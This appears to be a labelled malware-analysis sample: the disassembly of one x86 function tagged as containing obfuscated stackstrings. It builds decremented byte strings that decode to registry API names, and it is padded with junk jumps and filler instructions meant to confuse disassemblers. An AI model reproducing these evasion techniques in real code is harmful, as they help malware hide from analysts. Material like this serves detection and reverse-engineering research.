Function at 0xa80a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xe
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.00a7f100
add esp, 0xc
ror eax, 0xe
rol eax, 0xe
jae 0xa80aa1
jge 0xa80aa3
clc
je 0xa80abb
pushf
rol edx, 0x15
ror edx, 0x15
je 0xa80ab0
jns 0xa80ab2
jae 0xa80ab4
popf
xchg esi, esi
jne 0xa80abb
mov ebx, 0x45c666b0
call 0xe9ed9317
mov al, 0x66
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x50
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x4c
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], 0x7a
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xc], 0x42
mov byte [ebp - 0xb], 0
mov eax, eax
xor eax, dword [esp]
xor eax, dword [esp]
jl 0xa80b0d
pushf
inc eax
dec eax
cld
nop
popf
jb 0xa80b06
mov ebx, ebx
mov ebx, ebx
jge 0xa80b0d
sub eax, 0x8ae8558a
dec ebp
in eax, dx
mov dl, byte [ebp - 0x18]
mov cl, byte [ebp - 0x13]
mov al, byte [ebp - 0xe]
mov bl, byte [ebp - 0x17]
dec dl
dec cl
mov byte [ebp - 0x18], dl
mov dl, byte [ebp - 0x12]
dec al
mov byte [ebp - 0x13], cl
mov cl, byte [ebp - 0xd]
dec bl
mov byte [ebp - 0xe], al
mov al, byte [ebp - 0x16]
dec dl
mov byte [ebp - 0x17], bl
mov bl, byte [ebp - 0x11]
mov byte [ebp - 0x12], dl
mov dl, byte [ebp - 0xc]
dec cl
dec al
mov byte [ebp - 0xd], cl
mov cl, byte [ebp - 0x15]
dec bl
mov byte [ebp - 0x16], al
mov al, byte [ebp - 0x10]
dec dl
mov byte [ebp - 0x11], bl
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0xc], dl
mov dl, byte [ebp - 0xf]
dec cl
dec al
dec bl
dec dl
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x10], al
mov byte [ebp - 0x14], bl
mov byte [ebp - 0xf], dl
test esp, 0x216b
xor eax, 0
add esi, dword [esp]
sub esi, dword [esp]
and eax, 0xffffffff
js 0xa80b95
jge 0xa80b8b
jl 0xa80b8d
mov esp, esp
xchg ebx, ebx
jns 0xa80b95
mov ebx, 0xecc6e818
invalid
call 0xa7f860
test eax, eax
mov dword [ebp - 4], eax
jne 0xa80baf
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
or esp, 0
or esp, 0
jl 0xa80bb7
jp 0xa80bd6
pushf
ja 0xa80bbd
xor edi, dword [esp + 4]
xor edi, dword [esp + 4]
xor edi, 0
lea esp, [esp]
popf
jae 0xa80bcf
ja 0xa80bd1
jae 0xa80bd3
jnp 0xa80bd6
lcall 0xe850, 0x51e84d8d
push eax
add dword fs:[eax], eax
lea ecx, [ebp - 0x18]
push ecx
push eax
call fcn.00a97030
push 0xe
lea edx, [ebp - 0x18]
mov edi, eax
push 0
push edx
mov dword [ebp - 8], edi
call fcn.00a7f100
add esp, 0xc
test edi, edi
jne 0xa80c07
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp esp, 0x18e8
jg 0xa80c18
ja 0xa80c11
jae 0xa80c13
xchg esi, esi
jle 0xa80c18
mov edi, 0x64e2e857
add dword [eax], eax
push edi
call fcn.00a97100
push 0xe
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.00a7f100
add esp, 0x10
jb 0xa80c30
xor esp, 0
ror ecx, 0
jg 0xa80c41
jle 0xa80c3a
jb 0xa80c3c
jne 0xa80c3e
jle 0xa80c41
mov ecx, 0x45c666b0
call 0xe9ed949d
mov al, 0x66
mov byte [ebp - 0x18], 0x53
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 0x50
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x4c
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], 0x7a
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xc], 0x58
mov byte [ebp - 0xb], 0
cld
and esi, esi
nop
jae 0xa80c8a
pushf
sub edi, 0
popf
jbe 0xa80c87
jb 0xa80c8a
mov eax, 0x8ae85d8a
push ebp
in eax, dx
mov bl, byte [ebp - 0x18]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0xe]
mov al, byte [ebp - 0x17]
dec bl
dec dl
mov byte [ebp - 0x18], bl
mov bl, byte [ebp - 0x12]
dec cl
mov byte [ebp - 0x13], dl
mov dl, byte [ebp - 0xd]
dec al
mov byte [ebp - 0xe], cl
mov cl, byte [ebp - 0x16]
dec bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x12], bl
mov bl, byte [ebp - 0xc]
dec dl
dec cl
mov byte [ebp - 0xd], dl
mov dl, byte [ebp - 0x15]
dec al
mov byte [ebp - 0x16], cl
mov cl, byte [ebp - 0x10]
dec bl
mov byte [ebp - 0x11], al
mov al, byte [ebp - 0x14]
mov byte [ebp - 0xc], bl
mov bl, byte [ebp - 0xf]
dec dl
dec cl
dec al
dec bl
mov byte [ebp - 0x15], dl
mov byte [ebp - 0x10], cl
mov byte [ebp - 0x14], al
mov byte [ebp - 0xf], bl
lea edx, [edx + 0x35e4]
lea edx, [edx - 0x35e4]
xchg esi, ebx
xchg esi, ebx
js 0xa80d04
rol edi, 0
jnp 0xa80d1e
pushf
test dword [esp + 4], eax
xchg ebx, eax
xchg ebx, eax
jle 0xa80d13
je 0xa80d15
popf
jne 0xa80d19
jns 0xa80d1b
jp 0xa80d1e
call 0xc1aacde3
enter 0xffffffffffff8502, 0x44
and al, 4
rol eax, 2
ror eax, 2
test dword [esp + 4], eax
jnp 0xa80d4f
pushf
add esi, 0x7a92
sub esi, 0x7a92
neg edx
neg edx
call fcn.00a80d41